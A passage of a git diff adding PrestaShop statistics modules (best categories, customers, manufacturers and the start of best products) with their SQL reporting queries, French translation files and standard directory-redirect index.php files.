+$_MODULE['<{shopimporter}prestashop>shopimporter_35f428e10ac312a2d9a32325c8294df9'] = 'Le champ %1$s (%2$s) est invalide.'; +$_MODULE['<{shopimporter}prestashop>shopimporter_44205a67121fcca5ffa925d1ed77b65e'] = 'L\'archive ne peut être extraite.'; +$_MODULE['<{shopimporter}prestashop>shopimporter_edeb9e20655b946e4bee4ac44a6c0a7f'] = 'Le serveur ne dispose pas des permissions pour l\'écriture.'; +$_MODULE['<{shopimporter}prestashop>shopimporter_6cf73576720519e739771a4fa489410b'] = 'Langue introuvable'; +$_MODULE['<{shopimporter}prestashop>shopimporter_179bdae10ca983dd1cf9cd1a4bf4f20a'] = 'l\'archive ne peut être téléchargée depuis prestashop.com'; diff --git a/modules/shopimporter/translations/index.php b/modules/shopimporter/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/shopimporter/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsbestcategories/index.php b/modules/statsbestcategories/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsbestcategories/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsbestcategories/logo.gif b/modules/statsbestcategories/logo.gif new file mode 100755 index 0000000..fa3a15d Binary files /dev/null and b/modules/statsbestcategories/logo.gif differ diff --git a/modules/statsbestcategories/logo.png b/modules/statsbestcategories/logo.png new file mode 100755 index 0000000..6d14c72 Binary files /dev/null and b/modules/statsbestcategories/logo.png differ diff --git a/modules/statsbestcategories/statsbestcategories.php b/modules/statsbestcategories/statsbestcategories.php new file mode 100755 index 0000000..9d6ace7 --- /dev/null +++ b/modules/statsbestcategories/statsbestcategories.php @@ -0,0 +1,204 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class StatsBestCategories extends ModuleGrid +{ + private $_html; + private $_query; + private $_columns; + private $_defaultSortColumn; + private $_defaultSortDirection; + private $_emptyMessage; + private $_pagingMessage; + + public function __construct() + { + $this->name = 'statsbestcategories'; + $this->tab = 'analytics_stats'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->_defaultSortColumn = 'totalPriceSold'; + $this->_defaultSortDirection = 'DESC'; + $this->_emptyMessage = $this->l('Empty recordset returned'); + $this->_pagingMessage = sprintf($this->l('Displaying %1$s of %2$s'), '{0} - {1}', '{2}'); + + $this->_columns = array( + array( + 'id' => 'name', + 'header' => $this->l('Name'), + 'dataIndex' => 'name', + 'align' => 'left', + 'width' => 140 + ), + array( + 'id' => 'totalQuantitySold', + 'header' => $this->l('Total Quantity Sold'), + 'dataIndex' => 'totalQuantitySold', + 'width' => 20, + 'align' => 'right' + ), + array( + 'id' => 'totalPriceSold', + 'header' => $this->l('Total Price'), + 'dataIndex' => 'totalPriceSold', + 'width' => 30, + 'align' => 'right' + ), + array( + 'id' => 'totalPageViewed', + 'header' => $this->l('Total Viewed'), + 'dataIndex' => 'totalPageViewed', + 'width' => 30, + 'align' => 'right' + ) + ); + + $this->displayName = $this->l('Best categories'); + $this->description = $this->l('A list of the best categories'); + } + + public function install() + { + return (parent::install() && $this->registerHook('AdminStatsModules')); + } + + public function hookAdminStatsModules($params) + { + $engineParams = array( + 'id' => 'id_category', + 'title' => $this->displayName, + 'columns' => $this->_columns, + 'defaultSortColumn' => $this->_defaultSortColumn, + 'defaultSortDirection' => $this->_defaultSortDirection, + 'emptyMessage' => $this->_emptyMessage, + 'pagingMessage' => $this->_pagingMessage + ); + + if (Tools::getValue('export')) + $this->csvExport($engineParams); + + $this->_html = ' +

        '.$this->displayName.'

        + '.$this->engine($engineParams).' +
        '.$this->l('CSV Export').' +
        '; + return $this->_html; + } + + public function getData() + { + $dateBetween = $this->getDate(); + $id_lang = $this->getLang(); + + // If a shop is selected, get all children categories for the shop + $categories = array(); + if (Shop::getContext() != Shop::CONTEXT_ALL) + { + $sql = 'SELECT c.nleft, c.nright + FROM '._DB_PREFIX_.'category c + WHERE c.id_category IN ( + SELECT s.id_category + FROM '._DB_PREFIX_.'shop s + WHERE s.id_shop IN ('.implode(', ', Shop::getContextListShopID()).') + )'; + if ($result = Db::getInstance()->executeS($sql)) + { + $ntreeRestriction = array(); + foreach ($result as $row) + $ntreeRestriction[] = '(nleft >= '.$row['nleft'].' AND nright <= '.$row['nright'].')'; + + if ($ntreeRestriction) + { + $sql = 'SELECT id_category + FROM '._DB_PREFIX_.'category + WHERE '.implode(' OR ', $ntreeRestriction); + if ($result = Db::getInstance()->executeS($sql)) + { + foreach ($result as $row) + $categories[] = $row['id_category']; + } + } + } + } + + // Get best categories + $this->_query = ' + SELECT SQL_CALC_FOUND_ROWS ca.`id_category`, CONCAT(parent.name, \' > \', calang.`name`) as name, + IFNULL(SUM(t.`totalQuantitySold`), 0) AS totalQuantitySold, + ROUND(IFNULL(SUM(t.`totalPriceSold`), 0), 2) AS totalPriceSold, + ( + SELECT IFNULL(SUM(pv.`counter`), 0) + FROM `'._DB_PREFIX_.'page` p + LEFT JOIN `'._DB_PREFIX_.'page_viewed` pv ON p.`id_page` = pv.`id_page` + LEFT JOIN `'._DB_PREFIX_.'date_range` dr ON pv.`id_date_range` = dr.`id_date_range` + LEFT JOIN `'._DB_PREFIX_.'product` pr ON CAST(p.`id_object` AS UNSIGNED INTEGER) = pr.`id_product` + LEFT JOIN `'._DB_PREFIX_.'category_product` capr2 ON capr2.`id_product` = pr.`id_product` + WHERE capr.`id_category` = capr2.`id_category` + AND p.`id_page_type` = 1 + AND dr.`time_start` BETWEEN '.$dateBetween.' + AND dr.`time_end` BETWEEN '.$dateBetween.' + ) AS totalPageViewed + FROM `'._DB_PREFIX_.'category` ca + LEFT JOIN `'._DB_PREFIX_.'category_lang` calang ON (ca.`id_category` = calang.`id_category` AND calang.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('calang').') + LEFT JOIN `'._DB_PREFIX_.'category_lang` parent ON (ca.`id_parent` = parent.`id_category` AND parent.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('parent').') + LEFT JOIN `'._DB_PREFIX_.'category_product` capr ON ca.`id_category` = capr.`id_category` + LEFT JOIN ( + SELECT pr.`id_product`, t.`totalQuantitySold`, t.`totalPriceSold` + FROM `'._DB_PREFIX_.'product` pr + LEFT JOIN ( + SELECT pr.`id_product`, + IFNULL(SUM(cp.`product_quantity`), 0) AS totalQuantitySold, + IFNULL(SUM(cp.`product_price` * cp.`product_quantity`), 0) / o.conversion_rate AS totalPriceSold + FROM `'._DB_PREFIX_.'product` pr + LEFT OUTER JOIN `'._DB_PREFIX_.'order_detail` cp ON pr.`id_product` = cp.`product_id` + LEFT JOIN `'._DB_PREFIX_.'orders` o ON o.`id_order` = cp.`id_order` + WHERE o.valid = 1 + AND o.invoice_date BETWEEN '.$dateBetween.' + GROUP BY pr.`id_product` + ) t ON t.`id_product` = pr.`id_product` + ) t ON t.`id_product` = capr.`id_product` + '.(($categories) ? 'WHERE ca.id_category IN ('.implode(', ', $categories).')' : '').' + GROUP BY ca.`id_category` + HAVING ca.`id_category` != 1'; + if (Validate::IsName($this->_sort)) + { + $this->_query .= ' ORDER BY `'.$this->_sort.'`'; + if (isset($this->_direction) && Validate::isSortDirection($this->_direction)) + $this->_query .= ' '.$this->_direction; + } + if (($this->_start === 0 || Validate::IsUnsignedInt($this->_start)) && Validate::IsUnsignedInt($this->_limit)) + $this->_query .= ' LIMIT '.$this->_start.', '.($this->_limit); + $this->_values = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query); + $this->_totalCount = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue('SELECT FOUND_ROWS()'); + } +} \ No newline at end of file diff --git a/modules/statsbestcategories/translations/en.php b/modules/statsbestcategories/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/statsbestcategories/translations/fr.php b/modules/statsbestcategories/translations/fr.php new file mode 100755 index 0000000..1917f96 --- /dev/null +++ b/modules/statsbestcategories/translations/fr.php @@ -0,0 +1,14 @@ +statsbestcategories_4f29d8c727dcf2022ac241cb96c31083'] = 'Aucun résultat'; +$_MODULE['<{statsbestcategories}prestashop>statsbestcategories_f5c493141bb4b2508c5938fd9353291a'] = 'Affichage de %1$s de %2$s'; +$_MODULE['<{statsbestcategories}prestashop>statsbestcategories_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{statsbestcategories}prestashop>statsbestcategories_eebfd2d9a7ea25b9e61e8260bcd4849c'] = 'Quantité totale vendue'; +$_MODULE['<{statsbestcategories}prestashop>statsbestcategories_f3547ae5e06426d87312eff7dda775aa'] = 'Prix total vendu'; +$_MODULE['<{statsbestcategories}prestashop>statsbestcategories_c13329e42ec01a10f84c0f950274b404'] = 'Total consulté'; +$_MODULE['<{statsbestcategories}prestashop>statsbestcategories_6e3b3150807da868ebd33ad2c991b8d7'] = 'Meilleures catégories'; +$_MODULE['<{statsbestcategories}prestashop>statsbestcategories_a2e1fa19a6a3405a4e82cb5daa66310d'] = 'Liste des meilleures catégories'; +$_MODULE['<{statsbestcategories}prestashop>statsbestcategories_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; diff --git a/modules/statsbestcategories/translations/index.php b/modules/statsbestcategories/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsbestcategories/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsbestcustomers/index.php b/modules/statsbestcustomers/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsbestcustomers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsbestcustomers/logo.gif b/modules/statsbestcustomers/logo.gif new file mode 100755 index 0000000..eb7ee8e Binary files /dev/null and b/modules/statsbestcustomers/logo.gif differ diff --git a/modules/statsbestcustomers/logo.png b/modules/statsbestcustomers/logo.png new file mode 100755 index 0000000..5b84ba2 Binary files /dev/null and b/modules/statsbestcustomers/logo.png differ diff --git a/modules/statsbestcustomers/statsbestcustomers.php b/modules/statsbestcustomers/statsbestcustomers.php new file mode 100755 index 0000000..1464481 --- /dev/null +++ b/modules/statsbestcustomers/statsbestcustomers.php @@ -0,0 +1,163 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class StatsBestCustomers extends ModuleGrid +{ + private $_html; + private $_query; + private $_columns; + private $_defaultSortColumn; + private $_defaultSortDirection; + private $_emptyMessage; + private $_pagingMessage; + + public function __construct() + { + $this->name = 'statsbestcustomers'; + $this->tab = 'analytics_stats'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->_defaultSortColumn = 'totalMoneySpent'; + $this->_defaultSortDirection = 'DESC'; + $this->_emptyMessage = $this->l('Empty recordset returned'); + $this->_pagingMessage = sprintf($this->l('Displaying %1$s of %2$s'), '{0} - {1}', '{2}'); + + $this->_columns = array( + array( + 'id' => 'lastname', + 'header' => $this->l('Last Name'), + 'dataIndex' => 'lastname', + 'width' => 50 + ), + array( + 'id' => 'firstname', + 'header' => $this->l('First Name'), + 'dataIndex' => 'firstname', + 'width' => 50 + ), + array( + 'id' => 'email', + 'header' => $this->l('Email'), + 'dataIndex' => 'email', + 'width' => 120 + ), + array( + 'id' => 'totalVisits', + 'header' => $this->l('Visits'), + 'dataIndex' => 'totalVisits', + 'width' => 80, + 'align' => 'right'), + array( + 'id' => 'totalMoneySpent', + 'header' => $this->l('Money spent'), + 'dataIndex' => 'totalMoneySpent', + 'width' => 80, + 'align' => 'right') + ); + + $this->displayName = $this->l('Best customers'); + $this->description = $this->l('A list of best customers.'); + } + + public function install() + { + return (parent::install() && $this->registerHook('AdminStatsModules')); + } + + public function hookAdminStatsModules($params) + { + $engineParams = array( + 'id' => 'id_customer', + 'title' => $this->displayName, + 'columns' => $this->_columns, + 'defaultSortColumn' => $this->_defaultSortColumn, + 'defaultSortDirection' => $this->_defaultSortDirection, + 'emptyMessage' => $this->_emptyMessage, + 'pagingMessage' => $this->_pagingMessage + ); + if (Tools::getValue('export')) + $this->csvExport($engineParams); + $this->_html = ' +

        '.$this->displayName.'

        + '.$this->engine($engineParams).' +

        '.$this->l('CSV Export').'

        +

        +

        '.$this->l('Guide').'

        +

        '.$this->l('Develop clients\' loyalty').'

        +

        + '.$this->l('Keeping a client is more profitable than gaining a new one. That is one of the many reasons it is necessary to cultivate customer loyalty.').'
        + '.$this->l('Word of mouth is also a means for getting new, satisfied clients. A dissatisfied customer can hurt your e-reputation and obstruct future sales goals.').'
        + '.$this->l('In order to achieve this goal, you can organize: ').' +

          +
        • '.$this->l('Punctual operations: commercial rewards (personalized special offers, product or service offered), + non commercial rewards (priority handling of an order or a product), pecuniary rewards (bonds, discount coupons, payback).').'
        • +
        • '.$this->l('Sustainable operations: loyalty points or cards, which not only justify communication between merchant and client, + but also offer advantages to clients (private offers, discounts).').'
        • +
        + '.$this->l('These operations encourage clients to buy products and visit your e-store regularly.').'
        +


        +
        '; + return $this->_html; + } + + public function getData() + { + $this->_query = ' + SELECT SQL_CALC_FOUND_ROWS c.`id_customer`, c.`lastname`, c.`firstname`, c.`email`, + COUNT(co.`id_connections`) as totalVisits, + IFNULL(( + SELECT ROUND(SUM(IFNULL(o.`total_paid_real`, 0) / cu.conversion_rate), 2) + FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'currency` cu ON o.id_currency = cu.id_currency + WHERE o.id_customer = c.id_customer + AND o.invoice_date BETWEEN '.$this->getDate().' + AND o.valid + ), 0) as totalMoneySpent + FROM `'._DB_PREFIX_.'customer` c + LEFT JOIN `'._DB_PREFIX_.'guest` g ON c.`id_customer` = g.`id_customer` + LEFT JOIN `'._DB_PREFIX_.'connections` co ON g.`id_guest` = co.`id_guest` + WHERE co.date_add BETWEEN '.$this->getDate() + .Shop::addSqlRestriction(Shop::SHARE_CUSTOMER, 'c'). + 'GROUP BY c.`id_customer`, c.`lastname`, c.`firstname`, c.`email`'; + if (Validate::IsName($this->_sort)) + { + $this->_query .= ' ORDER BY `'.$this->_sort.'`'; + if (isset($this->_direction) && Validate::isSortDirection($this->_direction)) + $this->_query .= ' '.$this->_direction; + } + if (($this->_start === 0 || Validate::IsUnsignedInt($this->_start)) && Validate::IsUnsignedInt($this->_limit)) + $this->_query .= ' LIMIT '.$this->_start.', '.($this->_limit); + $this->_values = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query); + $this->_totalCount = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue('SELECT FOUND_ROWS()'); + } +} diff --git a/modules/statsbestcustomers/translations/en.php b/modules/statsbestcustomers/translations/en.php new file mode 100755 index 0000000..733d2f5 --- /dev/null +++ b/modules/statsbestcustomers/translations/en.php @@ -0,0 +1,5 @@ +statsbestcustomers_cb21e843b037359d0fb5b793fccf964f'] = 'Develop clients\' loyalty'; diff --git a/modules/statsbestcustomers/translations/fr.php b/modules/statsbestcustomers/translations/fr.php new file mode 100755 index 0000000..6c73fe7 --- /dev/null +++ b/modules/statsbestcustomers/translations/fr.php @@ -0,0 +1,21 @@ +statsbestcustomers_4f29d8c727dcf2022ac241cb96c31083'] = 'Aucun résultat retourné'; +$_MODULE['<{statsbestcustomers}prestashop>statsbestcustomers_f5c493141bb4b2508c5938fd9353291a'] = 'Affichage de %1$s de %2$s'; +$_MODULE['<{statsbestcustomers}prestashop>statsbestcustomers_77587239bf4c54ea493c7033e1dbf636'] = 'Nom'; +$_MODULE['<{statsbestcustomers}prestashop>statsbestcustomers_bc910f8bdf70f29374f496f05be0330c'] = 'Prénom'; +$_MODULE['<{statsbestcustomers}prestashop>statsbestcustomers_ce8ae9da5b7cd6c3df2929543a9af92d'] = 'E-mail'; +$_MODULE['<{statsbestcustomers}prestashop>statsbestcustomers_d7e637a6e9ff116de2fa89551240a94d'] = 'Visites'; +$_MODULE['<{statsbestcustomers}prestashop>statsbestcustomers_1ff1b62d08d1195f073c6adac00f1894'] = 'Argent dépensé'; +$_MODULE['<{statsbestcustomers}prestashop>statsbestcustomers_8b83489bd116cb60e2f348e9c63cd7f6'] = 'Meilleurs clients'; +$_MODULE['<{statsbestcustomers}prestashop>statsbestcustomers_ca5c7eec61c59f2bd4572d1c5f34b10a'] = 'Classement des meilleurs clients'; +$_MODULE['<{statsbestcustomers}prestashop>statsbestcustomers_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; +$_MODULE['<{statsbestcustomers}prestashop>statsbestcustomers_6602bbeb2956c035fb4cb5e844a4861b'] = 'Guide'; +$_MODULE['<{statsbestcustomers}prestashop>statsbestcustomers_cb21e843b037359d0fb5b793fccf964f'] = 'Fidéliser les clients'; +$_MODULE['<{statsbestcustomers}prestashop>statsbestcustomers_0c854a411bcae590a2a44a9b18487d12'] = 'Garder un client est plus rentable que d’en conquérir un nouveau. Il est donc impératif de le fidéliser, c\'est-à-dire de lui donner envie de revenir sur votre boutique.'; +$_MODULE['<{statsbestcustomers}prestashop>statsbestcustomers_197bad7ad08abfd1dc45ab92f96f155d'] = 'Le bouche à oreille est également un moyen d\'avoir de nouveaux clients satisfaits ; car un client mécontent n\'en attirera pas de nouveaux.'; +$_MODULE['<{statsbestcustomers}prestashop>statsbestcustomers_860b64638db92a2d084e4e5182b20f31'] = 'Pour y parvenir, plusieurs moyens existent :'; +$_MODULE['<{statsbestcustomers}prestashop>statsbestcustomers_99666939cbe5b9f120bb5a5050abda66'] = 'Ces opérations incitent non seulement le client à acheter, mais aussi à revenir régulièrement sur votre boutique.'; diff --git a/modules/statsbestcustomers/translations/index.php b/modules/statsbestcustomers/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsbestcustomers/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsbestmanufacturers/index.php b/modules/statsbestmanufacturers/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsbestmanufacturers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsbestmanufacturers/logo.gif b/modules/statsbestmanufacturers/logo.gif new file mode 100755 index 0000000..fa3a15d Binary files /dev/null and b/modules/statsbestmanufacturers/logo.gif differ diff --git a/modules/statsbestmanufacturers/logo.png b/modules/statsbestmanufacturers/logo.png new file mode 100755 index 0000000..5326714 Binary files /dev/null and b/modules/statsbestmanufacturers/logo.png differ diff --git a/modules/statsbestmanufacturers/statsbestmanufacturers.php b/modules/statsbestmanufacturers/statsbestmanufacturers.php new file mode 100755 index 0000000..5e4ca5d --- /dev/null +++ b/modules/statsbestmanufacturers/statsbestmanufacturers.php @@ -0,0 +1,150 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class StatsBestManufacturers extends ModuleGrid +{ + private $_html = null; + private $_query = null; + private $_columns = null; + private $_defaultSortColumn = null; + private $_defaultSortDirection = null; + private $_emptyMessage = null; + private $_pagingMessage = null; + + public function __construct() + { + $this->name = 'statsbestmanufacturers'; + $this->tab = 'analytics_stats'; + $this->version = '1.0'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->_defaultSortColumn = 'sales'; + $this->_defaultSortDirection = 'DESC'; + $this->_emptyMessage = $this->l('Empty recordset returned'); + $this->_pagingMessage = sprintf($this->l('Displaying %1$s of %2$s'), '{0} - {1}', '{2}'); + + $this->_columns = array( + array( + 'id' => 'name', + 'header' => $this->l('Name'), + 'dataIndex' => 'name', + 'align' => 'left', + 'width' => 200 + ), + array( + 'id' => 'quantity', + 'header' => $this->l('Quantity sold'), + 'dataIndex' => 'quantity', + 'width' => 60, + 'align' => 'right' + ), + array( + 'id' => 'sales', + 'header' => $this->l('Total paid'), + 'dataIndex' => 'sales', + 'width' => 60, + 'align' => 'right' + ) + ); + + $this->displayName = $this->l('Best manufacturers'); + $this->description = $this->l('A list of the best manufacturers'); + } + + public function install() + { + return (parent::install() && $this->registerHook('AdminStatsModules')); + } + + public function hookAdminStatsModules($params) + { + $engineParams = array( + 'id' => 'id_category', + 'title' => $this->displayName, + 'columns' => $this->_columns, + 'defaultSortColumn' => $this->_defaultSortColumn, + 'defaultSortDirection' => $this->_defaultSortDirection, + 'emptyMessage' => $this->_emptyMessage, + 'pagingMessage' => $this->_pagingMessage + ); + + if (Tools::getValue('export')) + $this->csvExport($engineParams); + + $this->_html = ' +
        '.$this->displayName.' + '.$this->engine($engineParams).' +
        '.$this->l('CSV Export').' +
        '; + return $this->_html; + } + + public function getTotalCount() + { + $sql = 'SELECT COUNT(DISTINCT(m.id_manufacturer)) + FROM '._DB_PREFIX_.'order_detail od + LEFT JOIN '._DB_PREFIX_.'product p ON (p.id_product = od.product_id) + LEFT JOIN '._DB_PREFIX_.'orders o ON (o.id_order = od.id_order) + LEFT JOIN '._DB_PREFIX_.'manufacturer m ON (m.id_manufacturer = p.id_manufacturer) + WHERE o.invoice_date BETWEEN '.$this->getDate() + .Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o'). + 'AND o.valid = 1 + AND m.id_manufacturer IS NOT NULL'; + return Db::getInstance()->getValue($sql); + } + + public function getData() + { + $this->_totalCount = $this->getTotalCount(); + + $this->_query = 'SELECT m.name, SUM(od.product_quantity) as quantity, ROUND(SUM(od.product_quantity * od.product_price) / c.conversion_rate, 2) as sales + FROM '._DB_PREFIX_.'order_detail od + LEFT JOIN '._DB_PREFIX_.'product p ON (p.id_product = od.product_id) + LEFT JOIN '._DB_PREFIX_.'orders o ON (o.id_order = od.id_order) + LEFT JOIN '._DB_PREFIX_.'currency c ON (c.id_currency = o.id_currency) + LEFT JOIN '._DB_PREFIX_.'manufacturer m ON (m.id_manufacturer = p.id_manufacturer) + WHERE o.invoice_date BETWEEN '.$this->getDate().' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + AND o.valid = 1 + AND m.id_manufacturer IS NOT NULL + GROUP BY p.id_manufacturer'; + if (Validate::IsName($this->_sort)) + { + $this->_query .= ' ORDER BY `'.$this->_sort.'`'; + if (isset($this->_direction) && Validate::isSortDirection($this->_direction)) + $this->_query .= ' '.$this->_direction; + } + if (($this->_start === 0 || Validate::IsUnsignedInt($this->_start)) && Validate::IsUnsignedInt($this->_limit)) + $this->_query .= ' LIMIT '.$this->_start.', '.($this->_limit); + $this->_values = Db::getInstance()->executeS($this->_query); + } +} diff --git a/modules/statsbestmanufacturers/translations/fr.php b/modules/statsbestmanufacturers/translations/fr.php new file mode 100755 index 0000000..7f826a5 --- /dev/null +++ b/modules/statsbestmanufacturers/translations/fr.php @@ -0,0 +1,13 @@ +statsbestmanufacturers_4f29d8c727dcf2022ac241cb96c31083'] = 'Empty recordset returned'; +$_MODULE['<{statsbestmanufacturers}prestashop>statsbestmanufacturers_f5c493141bb4b2508c5938fd9353291a'] = 'Affichage de %1$s de %2$s'; +$_MODULE['<{statsbestmanufacturers}prestashop>statsbestmanufacturers_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{statsbestmanufacturers}prestashop>statsbestmanufacturers_2a0440eec72540c5b30d9199c01f348c'] = 'Quantité vendus'; +$_MODULE['<{statsbestmanufacturers}prestashop>statsbestmanufacturers_ea067eb37801c5aab1a1c685eb97d601'] = 'Total des sommes versées'; +$_MODULE['<{statsbestmanufacturers}prestashop>statsbestmanufacturers_72fd9b5482201824daae557360d91196'] = 'Meilleur fabricants'; +$_MODULE['<{statsbestmanufacturers}prestashop>statsbestmanufacturers_aa1b814546fe3e2e96ef3a185e4df8e9'] = 'Une liste des meilleurs fabricants'; +$_MODULE['<{statsbestmanufacturers}prestashop>statsbestmanufacturers_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; diff --git a/modules/statsbestmanufacturers/translations/index.php b/modules/statsbestmanufacturers/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsbestmanufacturers/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsbestproducts/index.php b/modules/statsbestproducts/index.php new file mode 100755 index 0000000..e582afc --- /dev/null +++ b/modules/statsbestproducts/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsbestproducts/logo.gif b/modules/statsbestproducts/logo.gif new file mode 100755 index 0000000..fa3a15d Binary files /dev/null and b/modules/statsbestproducts/logo.gif differ diff --git a/modules/statsbestproducts/logo.png b/modules/statsbestproducts/logo.png new file mode 100755 index 0000000..448681e Binary files /dev/null and b/modules/statsbestproducts/logo.png differ diff --git a/modules/statsbestproducts/statsbestproducts.php b/modules/statsbestproducts/statsbestproducts.php new file mode 100755 index 0000000..28beb9f --- /dev/null +++ b/modules/statsbestproducts/statsbestproducts.php @@ -0,0 +1,189 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class StatsBestProducts extends ModuleGrid +{ + private $_html = null; + private $_query = null; + private $_columns = null; + private $_defaultSortColumn = null; + private $_defaultSortDirection = null; + private $_emptyMessage = null; + private $_pagingMessage = null; + + public function __construct() + { + $this->name = 'statsbestproducts'; + $this->tab = 'analytics_stats'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->_defaultSortColumn = 'totalPriceSold'; + $this->_defaultSortDirection = 